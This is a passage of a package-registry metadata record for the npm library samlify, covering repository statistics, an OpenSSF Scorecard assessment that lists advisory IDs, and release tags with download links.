{"id":2330346,"name":"samlify","ecosystem":"npm","description":"Node.js library for SAML SSO","homepage":"https://github.com/tngan/samlify#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/tngan/samlify","keywords_array":["nodejs","saml2","sso","slo","metadata"],"namespace":null,"versions_count":72,"first_release_published_at":"2017-06-06T17:16:56.252Z","latest_release_published_at":"2026-05-18T14:18:14.761Z","latest_release_number":"2.13.1","last_synced_at":"2026-10-17T09:12:07.080Z","created_at":"2022-04-10T00:16:48.135Z","updated_at":"2026-10-17T09:12:07.080Z","registry_url":"https://www.npmjs.com/package/samlify","install_command":"npm install samlify","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.13.1"},"contentPolicy":null},"repo_metadata":{"id":36401095,"uuid":"40706011","full_name":"tngan/samlify","owner":"tngan","description":"Node.js library for SAML SSO","archived":false,"fork":false,"pushed_at":"2026-08-11T03:56:38.000Z","size":6543,"stargazers_count":661,"open_issues_count":53,"forks_count":233,"subscribers_count":19,"default_branch":"master","last_synced_at":"2026-10-05T09:54:13.819Z","etag":null,"topics":["auth0","expressjs","identity-provider","idp","javascript","nodejs","okta","onelogin","saml","saml2","samlify","service-provider","slo","sso","typescript"],"latest_commit_sha":null,"homepage":"https://samlify.js.org","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tngan.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["tngan"]}},"created_at":"2015-08-14T09:07:35.000Z","updated_at":"2026-09-09T08:57:52.000Z","dependencies_parsed_at":"2024-01-13T10:44:06.436Z","dependency_job_id":"5bc395c6-fd3e-4082-9678-dbd0aa96103c","html_url":"https://github.com/tngan/samlify","commit_stats":{"total_commits":437,"total_committers":69,"mean_commits":6.333333333333333,"dds":0.3249427917620137,"last_synced_commit":"7a04e81811dd5c869ced51329639e4be414c5e63"},"previous_names":["tngan/express-saml2"],"tags_count":90,"template":false,"template_full_name":null,"purl":"pkg:github/tngan/samlify","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tngan","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/sbom","scorecard":{"id":890408,"data":{"date":"2025-08-11","repo":{"name":"github.com/tngan/samlify","commit":"78a8ef127bfaf2a73907b5408b45d883d22adae1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3,"checks":[{"name":"Token-Permissions","score":-1,"reason":"No tokens found","details":null,"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Code-Review","score":4,"reason":"Found 10/25 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":-1,"reason":"no workflows found","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":-1,"reason":"no dependencies found","details":null,"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-p8p7-x288-28g6","Warn: Project is vulnerable to: GHSA-72xf-g2v4-qvf3"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-24T11:36:03.462Z","repository_id":36401095,"created_at":"2025-08-24T11:36:03.462Z","updated_at":"2025-08-24T11:36:03.462Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343680568,"owners_count":38138650,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-09T02:00:07.585Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"tngan","name":"tngan","uuid":"10245912","kind":"user","description":"","email":"","website":"https://dev.to/tngan","location":"Hong Kong","twitter":null,"company":"@mobiusxyz","icon_url":"https://avatars.githubusercontent.com/u/10245912?u=73bd49feaeec6505b5447d7b0ecdde7b204b0544\u0026v=4","repositories_count":82,"last_synced_at":"2024-05-01T10:40:33.388Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/tngan","funding_links":["https://github.com/sponsors/tngan"],"total_stars":846,"followers":187,"following":248,"created_at":"2022-11-02T16:53:10.582Z","updated_at":"2024-05-01T10:40:50.741Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tngan","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tngan/repositories"},"tags":[{"name":"v2.13.0","sha":"3230b2b9193654d3090b4c10d8f4be866b8c2351","kind":"commit","published_at":"2026-05-14T18:46:09.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.13.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.13.0/manifests"},{"name":"v2.12.0","sha":"8c2f7436d3e9a88392b4dc48f3e36111d2721040","kind":"commit","published_at":"2026-03-31T15:20:16.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.12.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"d4145ffb771a0872300f868ee923b92c88b95b57","kind":"commit","published_at":"2026-03-09T22:29:06.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.11.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.11.0/manifests"},{"name":"v2.10.2","sha":"0dd302711c16c4050ed885c09cc0e4b39293fa84","kind":"commit","published_at":"2025-11-28T03:10:53.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.10.2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.10.2/manifests"},{"name":"v2.10.1","sha":"78a8ef127bfaf2a73907b5408b45d883d22adae1","kind":"commit","published_at":"2025-07-06T04:38:35.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.10.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.10.1/manifests"},{"name":"v2.10.0","sha":"73cae30f836fa71ac80904eeb52bfdee81fe06ae","kind":"commit","published_at":"2025-05-06T01:19:12.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.10.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.10.0/manifests"},{"name":"v2.9.1","sha":"d9ba89dbd6e30aa5b98f12d236418aeaf147184b","kind":"commit","published_at":"2025-03-24T14:33:17.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.9.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.9.1/manifests"},{"name":"v2.8.11","sha":"08d105ffa8e432ba0db2a661d6ce8bf6b68bd316","kind":"commit","published_at":"2024-03-02T04:16:46.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.11","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.11/manifests"},{"name":"v2.8.10","sha":"43ac2964dc61af4d8710342107c16c65f32c9bf6","kind":"commit","published_at":"2023-02-26T06:56:21.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.10","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.10/manifests"},{"name":"v2.8.9","sha":"49295a235685d5a74a116da5201d00034b247daa","kind":"commit","published_at":"2023-02-14T03:15:24.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.9","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.9/manifests"},{"name":"v2.8.8","sha":"70c918d467b04415a4ac1e66514cb08553296f51","kind":"commit","published_at":"2023-01-20T08:31:52.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.8","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.8/manifests"},{"name":"v2.8.7","sha":"2d124fe2361e0f8175d144e721a2cfc8c121c9db","kind":"commit","published_at":"2022-11-06T03:54:26.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.7","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.7/manifests"},{"name":"v2.8.6","sha":"0950407d57bb1c5a93985a1d9b1bd2fd9182d1d5","kind":"commit","published_at":"2022-10-13T15:54:30.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.6","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.6/manifests"},{"name":"v2.8.5","sha":"56d1bb59361ee21338b9fd495ca479b8934ede0c","kind":"commit","published_at":"2022-05-24T14:28:32.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.5","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.5/manifests"},{"name":"v2.8.4","sha":"9953b333ba2ab1613b671d0c2322db561895b3fd","kind":"commit","published_at":"2022-04-05T12:13:11.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.4","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.4/manifests"},{"name":"v2.8.3","sha":"5d7dc86f43d1efccb4cb12613ac3b4ebc435906f","kind":"commit","published_at":"2022-02-11T15:01:57.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.3","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"b1f7aa9f5fb2d4d84ce867e3e736c195a00e85a9","kind":"commit","published_at":"2021-09-19T10:23:54.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"68181d872cfb16cd8d7b3247066effd6ca18a564","kind":"commit","published_at":"2021-09-06T11:46:11.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"a3121de7ae5e5b2af401c707643d02b833ac63dd","kind":"commit","published_at":"2021-09-05T07:15:52.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.0/manifests"},{"name":"v2.8.0-rc1","sha":"49e25153dc2584461613ded9dfaf30f55e964ce4","kind":"commit","published_at":"2021-07-12T16:34:24.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.8.0-rc1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.8.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.8.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.8.0-rc1/manifests"},{"name":"v2.7.7","sha":"92bf829d1a66cc44f1cce09b81d5e867f50eebb9","kind":"commit","published_at":"2021-06-10T02:03:16.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.7.7","html_url":"https://github.com/tngan/samlify/releases/tag/v2.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.7/manifests"},{"name":"v2.7.5","sha":"56e0a69874a28b25e7557ccc37c3a0297b11dc99","kind":"tag","published_at":"2020-10-30T15:16:41.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.7.5","html_url":"https://github.com/tngan/samlify/releases/tag/v2.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.5/manifests"},{"name":"v2.7.4","sha":"469c6befa7c6df19ff8a447bbdb87e6b55da2cb0","kind":"tag","published_at":"2020-10-30T15:16:17.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.7.4","html_url":"https://github.com/tngan/samlify/releases/tag/v2.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.4/manifests"},{"name":"v2.7.6","sha":"3f8413421e98c7da193d85caa9866337bb7d9a2d","kind":"commit","published_at":"2020-10-30T15:01:45.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.7.6","html_url":"https://github.com/tngan/samlify/releases/tag/v2.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.6/manifests"},{"name":"v2.7.3","sha":"ee94a249d3cb60698df5c0bc419575f0262ba726","kind":"commit","published_at":"2020-04-14T19:32:37.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.7.3","html_url":"https://github.com/tngan/samlify/releases/tag/v2.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.3/manifests"},{"name":"v2.7.2","sha":"728fde86f6452e6610d19c18ea63c378a979dde4","kind":"commit","published_at":"2020-04-04T04:21:47.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.7.2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.2/manifests"},{"name":"v2.7.1","sha":"f37f43d7166a8492e6ddd38692ed6c6697be7b8f","kind":"commit","published_at":"2020-01-30T19:21:44.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.7.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"a6659a30949110a1e08d5fefd487c808a8b03e0f","kind":"commit","published_at":"2020-01-28T19:29:51.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.7.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.7.0/manifests"},{"name":"v2.6.3","sha":"d7b3879805b6fb1d7114abc658336ae3e1a5dba6","kind":"commit","published_at":"2020-01-18T14:10:40.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.6.3","html_url":"https://github.com/tngan/samlify/releases/tag/v2.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.3/manifests"},{"name":"v2.6.2","sha":"7608e8e50f5eb5c5c21a04f236e01e3750e188e2","kind":"commit","published_at":"2019-11-12T21:32:08.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.6.2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"5e3e9d9778e529ccaaf8164661e448948a050024","kind":"commit","published_at":"2019-08-10T03:37:21.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.6.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"db0f8cb671cdea4fde3062c25af5a6e6e96e3efc","kind":"commit","published_at":"2019-07-07T08:51:23.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.6.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/